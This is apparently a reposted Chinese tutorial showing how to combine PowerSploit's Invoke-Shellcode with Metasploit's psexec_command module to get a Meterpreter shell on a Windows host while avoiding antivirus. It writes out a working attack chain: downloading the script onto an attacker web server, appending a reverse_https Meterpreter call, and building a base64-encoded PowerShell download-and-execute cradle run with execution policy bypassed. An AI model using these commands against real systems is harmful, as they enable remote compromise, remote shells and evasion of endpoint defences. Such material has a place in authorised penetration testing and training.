欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  网络运营

PowerSploit+Metasploit=Shells

程序员文章站 2022-03-19 10:07:33
Metasploit支持类似PSEXEC 与 hash注入的功能,不幸的是,如果AV产品拥有删除二进制上传服务的话,它的功能大多是没用的。最近,有一个模块(/auxiliary/admin/s...
Metasploit支持类似PSEXEC 与 hash注入的功能,不幸的是,如果AV产品拥有删除二进制上传服务的话,它的功能大多是没用的。最近,有一个模块(/auxiliary/admin/smb/psexec_command),它允许你运行一个Windows命令来发现哈希值或证书(不包括AV产品)。但我们使用的是不完整的的meterpreter shell。我们可以打开一个命令到Meterpreter shell 与 PowerSploit + Invoke-Shellcode.ps1
基本步骤:
PowerSploit+Metasploit=Shells

环境:KaLi linux 
kalilinux的PowerSploit的版本目前已过时了,所以我要运行:

wget -O /var/www/payload https://raw.github.com/mattifestation/PowerSploit/master/CodeExecution/Invoke-Shellcode.ps1

接下来,我们需要添加相应的函数来调用LHOST和Lport的参数,并确保Apache正在运行

echo "Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost $lhost -Lport $lport -Force" >> /var/www/payload

添加调用的函数:
PowerSploit+Metasploit=Shells
现在,我们有脚本代码托管,还需构建要执行的命令。虽然我们可以编码整个命令,但我发现,构建一个小型脚本会更加可靠。我们可以用同样的方法在一前一后使用。
基本上,我们是要将简短的Base64编码脚本块来把我们的脚本其余的部分拆除:

scriptblock="iex (New-Object Net.WebClient).DownloadString("http://$lhost/payload")" encode="`echo $scriptblock | base64 -w 0`"
 command="cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc $encode" echo $command

现在,我们填写其余的模块设置(一个密码 或 hash),可以使用命令参数的编码命令:
PowerSploit+Metasploit=Shells
接下来运行 multi/handler 与  reverse_https:
PowerSploit+Metasploit=Shells
最后,我们运行的模块。用单一的命令来运行这个上传二进制服务的文件。这个命令是一个PowerShell脚本编码,这是拉低较大调用的shellcode脚本。调用ShellCode是确定系统是否是x86或x64,
注入meterpreter的shellcode到一个适当的环境中:
PowerSploit+Metasploit=Shells
最终的结果是一个meterpreter shell,相比psexec_command模块,无需编写更多的磁盘。
我希望你觉得它对你有用,也许有人会得到启发,将这一切做成一个自动化模块